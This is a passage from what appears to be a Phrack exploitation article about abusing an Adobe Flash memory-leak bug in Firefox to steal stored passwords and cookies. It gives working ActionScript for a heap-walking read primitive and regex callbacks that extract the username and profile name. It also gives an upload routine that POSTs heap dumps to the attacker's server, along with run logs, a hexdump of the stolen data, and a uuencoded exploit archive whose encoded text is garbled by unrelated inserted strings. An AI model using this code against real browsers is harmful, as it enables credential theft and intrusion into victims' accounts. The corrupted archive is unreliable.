the // next page may be unmapped. var cross_page:Boolean = ((addr + this._readahead) & 0xfffff000) != (addr & 0xfffff000); // If so, subtract the readahead from the address to be dereferenced // and return `pi.height' instead of `pi.bitsPerSecond' :) if(cross_page && this._readahead > 0) addr -= this._readahead; for(var i:uint = 0; i < this.VECNUM; i++) this._sv[i][0] = addr; pi = this._source.getABRProfileInfoAtIndex(0, this._idx); if(cross_page && this._readahead > 0) ret = pi.height; else ret = pi.bitsPerSecond; return ret; } --- snip --- As it has already been mentioned, the above is, actually, the equivalent of `HeapWalk()' [19] implemented by abusing our read primitive. ------[ 3.2.6 Reading arbitrary files Now that we have a powerful arbitrary read primitive at hand, it's time we examine what can be done with it. An obvious potential is dumping the memory contents of the sandboxed Adobe Flash Player process. However, unless sensitive information is already present in the process' memory, doing this won't yield any interesting results. What if one could force the sandboxed child load and map arbitrary files in memory? Assuming a file has been mapped somewhere in the process' heap, discovering its contents is just a matter of walking the heap and locating the heap region that carries the contents of the file. The M3U8 specification mentions the following: 3.4.4. EXT-X-KEY Media segments MAY be encrypted. The EXT-X-KEY tag specifies how to decrypt them. It applies to every media URI that appears between it and the next EXT-X-KEY tag in the Playlist file (if any). Its format is: #EXT-X-KEY:<attribute-list> ... If the encryption method is AES-128, the URI attribute MUST be present. ... The URI attribute specifies how to obtain the key. Its value is a quoted-string that contains a URI [RFC3986] for the key. If the URI specifies a local file, the Flash Player child will happily load and map it in memory (it's well known that the NPAPI Firefox Flash Sandbox allows reading arbitrary files from the filesystem). A relatively big file will occupy a heap segment of its own, making it easier for an attacker to discover its contents. Ideally, an attacker would like to load in memory the SQLite database holding the Firefox stored passwords. However, this is not as straightforward as it may sound at first. On Microsoft Windows, these databases reside at the following location: C:\Users\USERNAME\AppData\Roaming\Mozilla\Firefox\Profiles\PROFILE_NAME\ signons.sqlite The path above contains two unknown quantities, the victim's username and the Firefox profile name which is a random identifier produced during installation. Before being able to load these files, one needs to find a way to determine the unknown values first. Since we already have an arbitrary read, as well as a more advanced heap walking abstraction, at hand, figuring out the victim's username is quite easy. On Microsoft Windows, environment variables lie somewhere at the very beginning of the process heap, so, our heap walker will visit this allocation too. Assuming we have successfully leaked the address of the main heap as described above, leaking the victim's username as simple as calling `walk()' with a callback function that uses regular expressions to locate the string ":\Users\xxx\AppData" in the heap data. --- snip --- // Leak heap data and look for a pattern that matches the username in // the target system. We need that in order to access files within the // user's home directory. private function _get_username_cb(address:uint, size:uint):Boolean { var matches:Array; var ret:Boolean = false; // `_read()' is the function implementing the read primitive. var raw:String = this._read(address, size); matches = raw.match(/:\\Users\\([^\\]*)\\AppData/); if(matches != null) { this._username = matches[1]; ret = true; } return ret; } private function _get_username():Boolean { return this._parser.walk(this._heap_address, this._get_username_cb); } --- snip --- If `_get_username_cb()' succeeds, the leaked username is stored in `this._username'. This whole process may be repeated to first load "profiles.ini", the file that holds the randomly generated Mozilla Firefox profile name and then the SQLite databases holding the keys and passwords. The content's of the aforementioned files can then be dumped using `this._parser.walk()' with different callback methods as shown below. --- snip --- // Search for the random Firefox profile name in heap data. private function _get_profile_name_cb(address:uint, size:uint):Boolean { var matches:Array; var ret:Boolean = false; var raw:String = this._read(address, size); matches = raw.match(/Path=Profiles[\/\\]([[:print:]]+)/); if(matches != null) { this._profile_name = matches[1]; ret = true; } return ret; } private function _get_profile_name():Boolean { ... this._parser.walk(this._heap_address, this._get_profile_name_cb); ... } --- snip --- Last but not least, the `_upload_data_cb()' is used in a final call to `walk()' to upload the full heap contents to a server of the attacker's choosing: --- snip --- // Collects data and uploads it on our server. private function _upload_data_cb(address:uint, size:uint):Boolean { var raw:String = this._read(address, size); if(this._mem == null) this._mem = ""; this._mem += raw; // Upload data in blocks of `DUMPSZ' bytes. if(this._mem.length >= this.DUMPSZ) { this._con.msg("Uploading block of " + this._mem.length + " bytes"); var b64:Base64Encoder = new Base64Encoder(); b64.encode(raw); raw = b64.toString(); var vars:URLVariables = new URLVariables(); vars.id = this._get_uniqid(); vars.data = raw; var req:URLRequest = new URLRequest(this.DUMPURL); req.data = vars; req.method = URLRequestMethod.POST; var ldr:URLLoader = new URLLoader(); ldr.dataFormat = URLLoaderDataFormat.BINARY; ldr.load(req); this._mem = ""; } // Return `false' so that `parser.walk()' walks the whole heap. return false; } private function _steal_cookies_and_passwords():void { ... // Dump the whole heap :) this._parser.walk(this._heap_address, this._upload_data_cb); } --- snip --- The exploit's server component "dumper.php" will store the uploaded data in a file under "/tmp". Section 3.2.8, entitled "Logs", proves that the SQLite databases holding keys and passwords have succesfully been uploaded to the attacker's server. ------[ 3.2.7 - Overall exploit methodology Summing up, the complete exploitation process consists of the steps given below. The interested reader is referred to the corresponding sections of this article for a detailed analysis of each step. Briefly the attached exploit: * Performs some standard heap spraying and attempts to determine if it was successful or not. * Abuses the layout of AS3 `Vector<uint>' data containers to leak information from arbitrary absolute memory addresses. In this step, the address of a virtual function table is also discovered. * Discovers the Adobe Flash plug-in's base address. * Walks the CRT heap once to locate the environment variables of the victim process. Simple pattern matching is used to locate the username of the victim. * Asks the exploit's server component to return an M3U8 manifest that results in the AVM loading "profiles.ini" several times in the victim process memory. * Walks the CRT heap once again to locate "profiles.ini" contents and read the name of the default profile. Most (all) users use just a single Firefox profile. * Asks the exploit's server component to return an M3U8 manifest that loads "signons.sqlite", "key3.db" and "cookies.sqlite" in the victim's memory. * Walks the CRT heap again and uploads all heap allocations to a server of the attacker's choosing. Some of these allocations contain the SQLite database contents. The author has run several experiments and has verified that the above exploitation works as expected. ------[ 3.2.8 - Logz This is how the user's browser looks like when debugging output is enabled in the exploit's code: --- snip --- (2016-01-26 01:04:42) [*] Will now load worker from WorkerMain.swf (2016-01-26 01:04:42) [*] New worker started (2016-01-26 01:04:42) [*] Preparing stream (2016-01-26 01:04:54) [*] Readahead size is 8 (2016-01-26 01:04:54) [*] Spraying the heap (2016-01-26 01:04:56) [*] GC virtual table @0x67cadaf0 (2016-01-26 01:04:56) [*] Flash player base address @0x67010000 (2016-01-26 01:05:07) [*] __crtheap @0x4e0000 (2016-01-26 01:05:07) [*] Matched Windows username "huku" (2016-01-26 01:05:07) [*] Preparing to leak Firefox profile name (2016-01-26 01:05:07) [*] New manifest "\\192.168.0.200@80\tmp\ master-6c616c616b6973--99643158.m3u8" (2016-01-26 01:05:07) [*] Sleeping for a while... (2016-01-26 01:05:19) [*] Matched Mozilla Firefox profile name "liqso3kl.default" (2016-01-26 01:05:19) [*] Preparing to steal cookies and passwords (2016-01-26 01:05:19) [*] New manifest "\\192.168.0.200@80\tmp\ master-6c616c616b6973-6c6971736f336b6c2e64656661756c74-efa5759b.m3u8" (2016-01-26 01:05:19) [*] Sleeping for a while... (2016-01-26 01:05:31) [*] Uploading block of 54040 bytes (2016-01-26 01:05:32) [*] Uploading block of 383168 bytes (2016-01-26 01:05:32) [*] Uploading block of 33544 bytes (2016-01-26 01:05:32) [*] Uploading block of 36096 bytes (2016-01-26 01:05:32) [*] Uploading block of 36280 bytes (2016-01-26 01:05:32) [*] Uploading block of 97608 bytes (2016-01-26 01:05:32) [*] Uploading block of 34976 bytes (2016-01-26 01:05:32) [*] Uploading block of 131064 bytes (2016-01-26 01:05:32) [*] Uploading block of 36768 bytes (2016-01-26 01:05:32) [*] Uploading block of 41976 bytes (2016-01-26 01:05:32) [*] Uploading block of 40960 bytes (2016-01-26 01:05:32) [*] Uploading block of 40960 bytes (2016-01-26 01:05:32) [*] Uploading block of 42336 bytes (2016-01-26 01:05:33) [*] Uploading block of 131064 bytes (2016-01-26 01:05:33) [*] Uploading block of 36856 bytes (2016-01-26 01:05:33) [*] Uploading block of 32768 bytes (2016-01-26 01:05:33) [*] Uploading block of 36856 bytes (2016-01-26 01:05:33) [*] Uploading block of 32768 bytes (2016-01-26 01:05:33) [*] Uploading block of 32768 bytes (2016-01-26 01:05:33) [*] Uploading block of 32768 bytes (2016-01-26 01:05:33) [*] Uploading block of 32768 bytes (2016-01-26 01:05:33) [*] Uploading block of 32768 bytes (2016-01-26 01:05:33) [*] Uploading block of 32768 bytes (2016-01-26 01:05:33) [*] Uploading block of 32768 bytes (2016-01-26 01:05:33) [*] Uploading block of 32768 bytes (2016-01-26 01:05:33) [*] Uploading block of 107296 bytes (2016-01-26 01:05:33) [*] Uploading block of 44232 bytes (2016-01-26 01:05:34) [*] Uploading block of 528400 bytes (2016-01-26 01:05:34) [*] Uploading block of 528376 bytes (2016-01-26 01:05:35) [*] Uploading block of 528376 bytes (2016-01-26 01:05:35) [*] Freeing worker resources (2016-01-26 01:05:35) [*] Marking target (2016-01-26 01:05:35) [*] Done --- snip --- On the attacker's server, a binary file holding exfiltrated data is created in "/tmp". The SQLite databases holding the victim's keys and passwords can also be found there. --- snip --- $ hexdump -C /tmp/154a61b6c8227ae0acfdfb974141dd6f.bin | grep SQLite ... d0 c5 37 4e 00 00 00 04 53 51 4c 69 74 65 20 66 |..7N....SQLite f| ... d0 c5 37 4e 00 00 00 04 53 51 4c 69 74 65 20 66 |..7N....SQLite f| --- snip --- --[ 4 - Conclusion The author hopes to have presented an interesting technique of exfiltrating data from a victim's computer. The only requirement was an arbitrary read primitive achieved by exploiting a standard relative information leak vulnerability. The presented methodology is generic and may be used to exploit similar Adobe Flash vulnerabilities. Additionally, similar techniques may be applicable to other client side technologies. Vulnerabilities, uninteresting at first sight, just like this one, may turn out to be promising and effective. Once a victim's passwords have been stolen (e.g. e-mail credentials), accessing the target's computer or mobile devices may also be possible in post-exploitation scenarios. As we are moving towards the era of data-only attacks, both in user-land and kernel-land, such attacks may become more and more interesting from a security researchers perspective. We look forward to bypassing any crappy mitigation that will be implemented in future Adobe Flash versions. --[ 5 - Thanks As you might know, writing a Phrack article is quite a hard work and requires dedication. This paper would have never been completed if it wasn't for the help and support of certain people. This section is dedicated to them. First and foremost I would like to thank the Phrack Staff for kicking my ass and motivating me to write this article. In a world of conferences and fame, Phrack has managed to stay alive with original and impressive content. It was the least I could to do help. It's always an honor for me seeing my articles published in Phrack. I would like to thank nemo and argp for their suggestions and insightful comments. My thanks also go to my team at CENSUS (and a couple of other persons who would like to remain anonymous) for giving me the chance to work on this cool stuff and spend time on Adobe Flash internals. It's always cool to be in a team where "client side exploitation" means arbitrary code execution and not XSS :) Chris Valasek and Tarjei Mandt for their work on Windows heap allocators. Life would have been harder without their work. Last but not least, greetings fly to my grhack.net collegues and !fapperz ;) --[ 6 - References [01] http://www.zerodayinitiative.com/advisories/ZDI-15-007/ [02] https://twitter.com/kernelbof/status/629832855842091008 [03] http://www.cvedetails.com/top-50-products.php [04] https://blog.zimperium.com/ stagefright-vulnerability-details-stagefright-detector-tool-released/ [05] http://flex.apache.org/installer.html [06] http://www.adobe.com/devnet/flex/flex-sdk-download.html [07] http://www.w3.org/TR/webstorage/ [08] http://www.w3.org/TR/webdatabase/ [09] http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/ flash/external/ExternalInterface.html [10] http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/ flash/net/SharedObject.html [11] https://en.wikipedia.org/wiki/HTTP_Live_Streaming [11] http://tools.ietf.org/html/draft-pantos-http-live-streaming-08 [12] https://msdn.microsoft.com/en-us/library/windows/desktop/ aa366710(v=vs.85).aspx [13] http://www.azimuthsecurity.com/resources/bh2009_mcdonald_valasek.pdf [14] http://illmatics.com/Understanding_the_LFH.pdf [15] http://illmatics.com/Windows%208%20Heap%20Internals.pdf [16] https://developer.apple.com/library/ios/technotes/tn2288/_index.html [17] https://www.adobe.com/support/flashplayer/debug_downloads.html [18] https://0b3dcaf9-a-62cb3a1a-s-sites.googlegroups.com/site/ zerodayresearch/smashing_the_heap_with_vector_Li.pdf [19] https://msdn.microsoft.com/en-us/library/windows/desktop/ aa366710(v=vs.85).aspx [20] http://haxe.org --[ 7 - Codez begin 644 flash_hardcode_porn.tgz M'XL(`%A6X58``^U]_6,:-])P?RU_A4I]!SBP@(T='PEI79LD?NNOQSA->B9' M%E:8/2^[='<Q]EW[_.WOS$C[K06<^-+VN:B-@5UI)(UF1J/1:#2V=&\RF.BN M,7(,/I@YKEW_ZI%3H]%XNM-@^`DI_2E^-+=VGS:V=K8;V]NLT=QI;N]\Q78> MNR&J-/=\W86FN([C+\NWF'!N+7F?[MR?)(T5XW_@V)YC<4WW'J<.P,=N*W_\ MGVYOM8+QWWK::,'X/VT\??H5:SQ.]<O3?_GXS_31C7[-"_\N,$CF%`C`9T04 MFF%Z,TN_UP[%Y]GPGWSD`VWXNFES]UFV@,_O?.T2_KPTN64LS>"X4]U7Y+BV MG*%NF?_2?=.QM4/=YY?FE(OLOK)2?LMMW].Z^*%X;7-?>W=RW'-&-USUWKOW M?#[5WCKNC1*\?'_"/0_0=##1;9M;SPH%RCF;#RUSQ$:0TV.2:^B%P":F>IV= MNZ;MLZF`X#'?83H#HK,-8#J&*&%CQ)<6EIFYYBWTG(T`HL^.SP[VCP>'W1_> MO&K_Xgemini - kennedy.gemi.dev -NLTZS'?G_%DA7@T@:8$0XQ6Y?.H`H(GC^1H[F[OPS+&JS-:GW&#% MNZGE$5X,;79?K#+3B\/SYK.9XT$^@#/D;*&;OFE?,W_"7<[&CLM,>^1,\1&T MTP;2@!'S\CIQT3TYN^QF>C'6+8\_6U[F]5GOLMWS7:RIPXI-;4O;UEK%%:7. MSRXNVXCW#HB6[58P8O'\M[K+!N.IW\XALTQ>_\YOI\@[DT?BM)VBN;Q\@U_: M/P'J'%=[+KKX(B?_=-16TV`P^M;<F^"@3SB#NID8V(`8V"]S/N<:>VFZ,*#S M&0-I9J?RQJ%%(PI$P3A0*Q`ZP%<0Z7ANBXP#QQ[(<F5^Z[>)(ROM6\<TPD(1 M7V!:3$R+E_V)Z6D1/C2+V]?^A+U@C4HB-Z9$7LWCMI$I[DW,L5^N5"(\_A8? M>\&Q8:,ETY:=!8BTMEK257*:+VH&`@(:L_F"9<BH7.3VX$VO&&M+HAQTP`\* MG5,)NUR\AU0[.:D9!GO]NCV=MCT/`20@F..R$%C::.ZZ@&;-]$#*3!W7,'4K MB;9_9Y`(I:D),<&2Q72V6-1TX`/9Y9`;RJD^9@IH"].`4>TPPK0&%'7-Q=^W M]*+&FKNK0$RX>3WQ53!>BS?K`)G.+=^T8%Q#(;JBW8#4MZX^6S.[P<<ZU!!- M<G%,T8-R41"=[H'(;39R$">ZJ!O&`3!)0.50@2+[;X7<(8Z+W8>-<<A0LOTI M*;5\O&5A6304A6L5PCZ3Z#@V8>8%))3IEW9P=GK:/;BL*B%$4"(AM%9E@<"* M8PLGG"J+/\')1(GX_%\<)K8<\34=`6)2_'O-_1XHX=PX=YT9=_W[<G$D1%,Q M*<F"KR"DW[HFR%^=N?HBE/,P5Z-4EV6U7+FWP++EQ43WY=2Z5%#_;O(F[&70 M/]":F#[W'>`C<Z1;UCWS1JYC6=3KX7P\AC:NX%!]-H-Y`_F1^K]2<(D*?D+^ MCX2(?M<3C__C[`@H.+.QG]#HE!(IB1=F]-B,;]JH6XZXFEgemini - kennedy.gemi.dev FH,:W,+T`)F$ M"43=%(H!0-!T0?75W7NA+^`$/9K$U<(4J#$I'09SH+Z`[E;I#2J\I-F1&UGL M!$FA`BP91B4;*D&!ZC"#WN0!^VA>5S91S<ACJ3@8#V;GJ7?]{body}amp;9.LR/[]5>V M@D"SQ(GUH4)>+K(G,9U&=*(<*$2@B<'K8H5=;;YGD%,Y&`0*<O7M8A;S!#J2 M5ZFQ^:V0_/9;X;?"[[VF_C,EI?WGXO(UUV?GNNNA#O+)5J#E]I]FJ[&]F[3_ M;#4:3W>_V'\^1UIB_Y&FCP-]I@]!8_9-[CU3V3WBU)*R?B26L"[7C8&!^O1@ M-&R_E+(K9[U[RUT/WK;G)IIU$N*2:F*6[J(^8%G.B(Q%'AN[SI1]&+SN[I]K M/YFN/]>M?7QM_`!_;KS2LK7K#&$.")HQ&%+^\@1Z-0!MU`5A3.VHA&OUS1<Y MPA7;[HS'L+"3+4^_%+!C@%+Z]2:IUDJ!'>"$=3KL:7:"%-4"N,:=WGB6F:"4 M8/:6@OG;*-42[gemini - kennedy.gemi.dev <(:%.E!C:!.)`K`N(*;DMUOY!IF\Z3%UHQ1PDL"DF;K7Z M%#0W^*)6BSSS7[RM[$O4HL9=4V&1^$VA*P1EU-B1;W/G,4PN]^>N+;N7IS8( M/IBC%6YJDMK@ZC8JAS%&&/2ZKTZZIY?:FX.+'K^>RG75&KPP'[D#3Y08@`[G MEX,?'\$1,5@K23]==@UZ2[6,QFI[;Q7!Y91:07'QKJQ%=ZN(JK%7^12:;(P^ M,TW&$;"<,F6NH.H<PHQ19=?VW?LU2#-!EO\1*:VB]=Q<_W%IOO<HTEQO_=&E M>9HC.R'5UDCZ9JD::*VGWV9(C<P$*3H[G4^'W#T;G^/ZN91=CSZ(J5,M?2@# MJT3/5J/"-JF;C<;GY6@E-^=;S./J7EFMTRVWF"?*0/,3OU,TBM8/HAT/:(AY MOCL?09O1'H2CZ;&I?L\,$\T^S.!HS<!=(D=L;9SUTJ`DKVAIAHRKN)KC(2\5 MWYJVX2P\]K28MPT1<AY[JF;096#WBK#H5I+-TE):<XWF[.7)Y9>.R[@^F@2\ M`7QQ\7,);3^(KZ`2Y%WFS?C(')N@5`SOV8>0G4O5.#RTP%'1.=`";1A:6`(? M#V%=P3Z,AB4V@T6"W#@4H#F*^8!\X^"0:TT8:60<I@,7N]=SP9,,28[YKHZ= MU"T@!&?FB4TLJD-0<@+8![36EY980'7K)CMY5%F<C(.=RB73"-2<OY\99%), M%-4\I2BW='LS4::]N5Q7J@KY([[ZTUFPDHJ7`31=`/,%BZ8NJ)+(0-J!8_!F MB95'8@M,[BJ>7;`;?H]C37O"W!ZY]S,_#3`@+9K+<<`-((TI]W5#]W4:8L\! M#JUHF=;?.>X`*GC`7-2XVVFDY]>@3]AD5!!(;D@TLR&W'/N:J-&A"H@BDTT) M,P=-6*%TI$3L6/)8(.21NP*0JR9`M`5R4"`$@G4TXL$Z-Q1J<WN*)ELT#TX= M8"&77^/"%T;:J;)%U@0)X`)8;AHEBF4#<-R"6U9V:HQ3:@HK>:L$+4*.JEF7 MT)+D_!R2B@G]`92-]1'0K9Z45-FF19-@JN+L?)G449ZG"P`Y!4^0<1Y@GC_1 M;T`#P5EI`9\WYHPY(*;R1DMM":=5DBRP7)X$*:2SV!`@XN*#I;:BJSN"">:L M`!LO.G%((9+^^M?<PICBC2$TXNS5R)OI@A2-B:K*)RP-M)*_.Y#?-TSAD"S; MRTVW2HV(;*N60QL"!][D9_E-^4:QE80):.YH+,17T!P352'L6E6P.DZCR4E> ML%<>/)3+JV;S8.K,W<OY)L#O0^D.IJ<5:BS[1S`]Y.-0T!LK([2_XM(8TA@2 MZM5[^<42'$R[+9.Y?8,8'<Z]>W5G98?C5:'>#BH\K'T45J)X<FD]%O5-3-0Y M^U>80I+KL'PZRR$5:"35)P@^OV$YY*G>RUP)40'MM\PL?:S#3#2<^\QV?`;R MS@-Y/XN9=F^%"3=NXLTH[K(E)"973:YYUM?X=)9O`%:,3RB!0\CM393`HO2Z M$PB244@25%0+"4/\%"+O$\8P^4NU!'3C?FHRRY>=M/^&I-K_,^;3&7>UV63V M.'6L\/]N[&YMI_V_FSN-+_M_GR,]_PZ&F?A]`Q=HL+!V<1(MUF%JDYOQ(*%, MS^-^>6-PT?V?-]W>Y541\Q;?5T`?9)EWI@%OA)B*1-Z&<$4F<0KP-T#OO_BI M>W%5E"X'^X>'%\7WD1#:,`W*EH`:>TVKR0X;ZA[?;0T,CM2K:&!L^;$Q!OT? M/9\1;M17#?I:A+]38Z><:"2\&.`+:$D%?VA#,^Z>,)_JWDVYT=S:BDT-6,5@ M-O?1!\U'#;P<UEH5E5;9RZ-CZ.[Y>??TD/V*WMT_#KKO)(S?"M^]^+Q"5\7_ MIFWP.VWB3Y?1^P/2"OYO[J3W_X'_6ZTO_/\Y$GO^S>'9P>7/YUWV^O+DF)V_ M^>'XZ(`5:_7ZV^V#>OWP\E"\:&F-9KW>/2VRXL3W9^UZ?;%8:(MMS7&OZY<7 M=2275MWS77/D:X9O%%\4GN,S_`"57FS%//=-W^(OGM?%9^%Y7;Q[/G2,>_B8 MR6P.>6`+!P/3Z!1'%GRTC:VG(V.XRVLZWS5JS>9H7/O;[G"OUFJU=G:V=UJ( M^"(C1^-.$;X)?V'\&FT$/0=%3Y_2"8A.<>K<FKP(FJ$UAU\GNFEKWF)<9/6< M_+^`/FKZ]V&)"<#/SSV\'CF6XX:YOQU3RB^`VN>B-W+-F;\_&H{body}amp;&!;UX/VA M,X4&KBC]<FY9`(%S.RR+2F.RE,2N?S_#8KC,$_IU_:[F34#C7.BWO$:"H<A0 M9L51LQR[#\?81V'MTS'W"=BK"_1)2@U_/:_/\(\DY+H@_=^;NU<GE?R?;L_W M'D_[6RG_@7T;*?F_V]II?I'_GR-%^I\P$-'I!%1=:I<@'MIT/JT^LY!_`F5J M@U2H8A^2/(SU_5ZCWQ<*(^4(-UDF_&[@.P.8%<H;\#VC%'KAL:Z89@7KZO*& MB7O6ST#Y0DNM[X(.)2#@&0]Z_*3#MI)KX0":!DOIB0NK]SM0"ZG4U8;Y'C4Y M\94]8<WW\0-"<A$LRP>:6*[N.]5M<\P]/]1_!Z)@3IY,IX-W2?TV*A$UC"SJ M&U)[1*N<_#IS'=(TY4]7MPUG6@%X_&YFH2)<K!6K4455UDHHPLC?B/-ON^\N M3[;?D-=M^!9ZO"&T9-QX!"77YVXQ;T-7@-(Z&:,#P:Z]J_4N+[K[)[6CTY?M M\XNS5Q?X_;#3K/ZP?WKX]NCP\G4'[6;5T_V3;J=?;/;1!9AE;6Y%H+E^'[I] M#1*[%J*BEL!$32)"PT8E7(DC$TC"5?N!?;G<OWC5O3Q\<[%_>71VVF[F-%7F M/ND>'NW7>CB\IP?==F-);L1.L\I()\K)1N\TWTN.%28<KP`?[!L<L^(J2UB4 MOY/@T."QPM:%M<1Q+:A#L1>M-G+%UU[%@W:__P:J\OK]L,I^?W\V.P1=H]^_ M<'0\5=KOGSC_,BT+GN"IQ;%S1P2`@#S-M$V%ISBFC/#8WL(O3Y[DV\V"@0^' M[L?NS^V3[N7KL\/.?K=7:V[M5=]<'`%]AMWHJUW5LU9\Y=&`'!PE\9L8F?BK M'$OQ!BZ%/QW%YQ+%4#!>:9KJPEKC`QLVH=\?.<X-^B]XOX#ZQW/&ZO$0_VG0 M'M2S&WZ_K1G#_TM=\LQK&ZWK?XK!2D/*.YCS6WK"BU76/3T\/NI=)N#QT<3! M>0:R%G\O8\SOD%3Z/ZWV'BOXQU>K]?^=W73\C]WMW2_VG\^2UHC_<8)6D@/+ MG#W+YIG[IN5I/]S[?-]U]7M%CI5!03!"QYN+XPO^RQQTU?P,QPZN3U:]QPDN M-[K(FL$^Q'MA-<C/E0['D,FW(C*)0-TU]_'XORM%MLPAPQ(D2IVC?Q\>B1YQ M9?P1Y%I8`gemini - kennedy.gemi.dev &`WX$8Y9:?-3KC`8*78!`OM)!T@5UE_7>OB3[M?<,=YP1DJO+ M=^@FY?*\V!XR3UL`%@[0]+U<%)@,K4>59,22F*_3#><S6(>-H1KH'S4K.`,Y M$@CVJK&3JPOXW[%+/AOR.$!]:''A[33BYBV>%KX/C\QF6R_C:MR&V\'){body}lt;V+ MQ`&=;H?CD\D2^:K+BD&VVH8%"^OU8F)@%9E8'[BRN_4U'_?%??334M%>D,1^ M-K12'IJ<CC2)CW(%R\HCHDH?T9R@'M.9Q0'2^CV`P6Z'0B'1>DVX`7HL)3/B MI05!M07QA&?E!3^&)]!'+H>6BE=EJ$]Q=$05,R6>AP[B+^3!=@*7S)XZ])ZJ M`?":%ZK@]?[I:?=X<-+M]?9?=:O!6>`D02BC@@`Y"@?TZ2CM.B<;ZN5'"J@R M*J4J!,C/A%^("`6/#Q=/@6VE**#LW,@)/9#VI$7V+B]W^89NI4Y&I'@MMVVR M6!"G!9\K3E3$9*-F>H.I#MTPRI6U?4,2KAQ`3(.Y:P4QA\@[&H\@"S'WL#`: M(7;?PCJ+V<Z"63!-!7BF\S!X?%I6F;.TDV_1Y%7\SK6-#A8))HYR1?,=T=1R M<S<'@O!4_J4=S;,2K]&#\O(V(`3+<-OA1!L!$+_S@GM`(>+Y,!J*8JK6?C@Z MW;_X.1]`;DR0D_/C[F7(83%AM:0U.`)EP,;CG?(/1_E22&CRQD,23'*0^/O' M\JI1Z_\W'#6!QZICU?YOX^E66O_?;6Q]T?\_1SIY=W)\T$%[T=CB=P//N.GW MAZ;=[T_OIM9(XW>\0%E>'N^_ZG5JR%Y`&:[F3$V_!AKBB-<`@:`/HZ[;(6'+ M:F*JK^'J@;N=9DMK%`JZ9;594A]DP9="(?DBD5$/0^O1UU1L@KA:##\+A0B& MHG0Z\U\H9^'KC3)ULL+D%^HM_'K.:L[<G\U]MO%]X>O1Q%G8;+%8U%"@M8,O M\MW4,1C0>0M_%D;HP`V`W2FKC5VV2=W=_-_"USC3C'%.V=@HCTW;8!J@ZWX& M*A>KN?R:W[&2MMDOZU[_U]EDUO^5;-F_XFYBO[*Q4:H\8X;#^H6OOQZ!,-W8 M&+-?&9['\.JEJZNV!ZLYWG[_?A-RUDNE.GN!631_.GL6+X,/H-S(L5AM>"<R MB0RRN<E"L9[)?(9C\S^4%/N2/C:IY'^22SZ]CI7^/ZV,_\_3W2_[OY\E+;'_ MH%U%+#5$0$15\(\8J:0L#3(;3@Z8FRP%1X=1(,^2V"(H/5M>XO2R>_'3_G%; M'-^%<ELMMLEV&\$?W#Y\EK\VB;4/E@/_SJYB9&UA@=CJX<&G_[)G2DAK]IQV M'(V0,?X3+4#'SDBW$HN8HT/%*N>;<M E;^(TP=`);6ZDG>X)AZ!2<-BK!86 MNA)PWN,IGT2M$MO9-8[P4)?'D1)O{body}gt;;(<CR>7@`L<2U?@G]$?GFE?>'C<9IN M>@(=G2S6LB4HZ%FZLTHL_#$U_F12R?^+[O[A25>;&H]4QPKY_W0K:_]O;7_1 M_S]+^I8=\IGEW`<GM,F#Q/0+A6^_94>V[SK&G!BS4,`SFQ[P](Q$,S`5'<GW M%PX\=?%<=AN9>Y-M;DZ<*=<,,M=M;F*P:WK/<'/1I9B-&-R4#I9CC;KOPQP$ MRCR[Q!-M)IWK=L5T$FL10_JD<VH@`$QG#G//ZW.,_FC.H"4+-*\,1:1K;D2@ M0&`Y(218CXRX@,XLYUJ$B?!\$-\VG5+'0V<1J/D,#07"/(V&&@*S24W?A-G/ M).-^T.5;$[`T#3M=I?K$0]E]C0Z]!IV5**`S?`L^E'FH"FP4:-SB\/WF9N2, M#;B$IICVR)H3)O#EV-6G'%_H.'R@WF.;Z;PVP4K@CJQ-J=&!#N!(][A/P;UA M<&.O"X4S.S%$)3R;CY`<]):D5X#NF3A7O9#C?X0!*`&%5_N@6TSX^[)T%];I M)[D+5ZKL"KHX,/3;\#5^&%HLD^&,O/J6ME6'G'69F_`@X^5<P?B'I6&MA/I* MO4+HN_+TZ5`7+SWIJ4R/1.URU`Z<V7T*P57X'9U^0>*U<0P"A\C-S2!60C1F M)1%U`,4',TR7S)OWK+RY60<ZQ9J#0A@0\TY'ZU0%,/7APX<"EOD^AN]V4.1; MF$]8S=(+O@.H9-M;/Q8,=W'GUO!_QK9$;?0'UM8_LI?0&M9D6XUV:XMI\;S- M5CKO_P/"84_9UG:[U62:5JBYBYI;P_\11)29M1K;E'EKES4:[6:#18C)+[2W MNY5L383=W$);6BO>!:@OP'=!@P8BIFB\N@90<G)\-/83"`/:]MG<C`YU`,HG MCB7X@`6G!V-BA5;MQ`Z"#24WJUA?8T=L(D+,^&(0@0=A<&%YO+E)P'!%;_`I MJJNNJ&@V=S%ROJ?A,=U[9TY;6-<\T9HJ:#KQ0Z=`4`1-RLH)'L:GL*#0UZGI M>13A3@8VD?M`(;5)>N[:$A'`*`-@F+G%0PK&1V,O>FJB]!`L!])\O+DI21(M MLR>4B4506'WNN77+'$H>)I:$YU[(EB!D4R7#RE86AJQ8/ASF?4-$*A!"!J42 M1NOVL,F`2S<\%XJB'@02-M^\GDO4H]E2=N50OP4=\.;P!X:#58>:\#1E8=\R M`;?XB/X4"L^/`P+!W\*M&\JR,Z'X/S\VIZ;?O1OQF<_.SM'UK\=>=2_9^5D/ M_ER<G;\\.CV,_,//7#2.8^#!1?60V_?A"_PAB`ZDHP!=C\%&I_&@)2\*A0M. MP]_%:!4<VR(?7"!*_T$]*FN;%?)U9*'']G>!RV=GH\FNCM\'6`6T@HA'\:X' MBG?OY(>`V,;Z*)C^31NCT'/_7R+2<GHH1&>2*/?$W.$)FO*FPR1%74%3WQ=$ ML2D%*>C@>6^QE-0I)'P]^$U'UQV,=MQA]UP(UFO:K7!NY*-(&F!+XPI""5ES MQBQ^RZV8),9^<)0<F%5&9R?>0U)AH7:@HV@AVQ]PQ\PQ41S(Z+L@_]$6"L^' MIJT#NX7:A9@`Y4T>@6DT`@A/.`H5Z"3F%/,A>VGQ.]8[_)&5IWC^S+1%Q%Q$ M)921\QD:8V.383!E21&8L(Y*'D?YM+EYN/_3FXMCH2G0S#WT'&L.8@2>DKH& MSR"/$#6X8A+R20XH2#Q]Z-QR6=O%'{body}lt;4<862%F09H-:]!R$(Q'+M8#PWI$T` M4`*QZ7%.RF#H1H!S:6",E:)2R**DK9=TD'`ZQO:%$1CV-Q&CHI/J!K[&24! M5`]R`*=BFD>\B3.W#)"PS@W59IDW/$F^7^;=->?=I442C0M-^'E%=K7MJ$BS M#<N[Y/@+CKX{body}lt;D4^)[Z)D1DPF7-3A9%V<586$\!8OW5H:ARZS@)#5="BP/0$ MCQ>B>0-H'D9<<E1SZZG6@/^:)#N%7WNM5OM;<V]O^'1/)T%:*`!=!72$!.T! 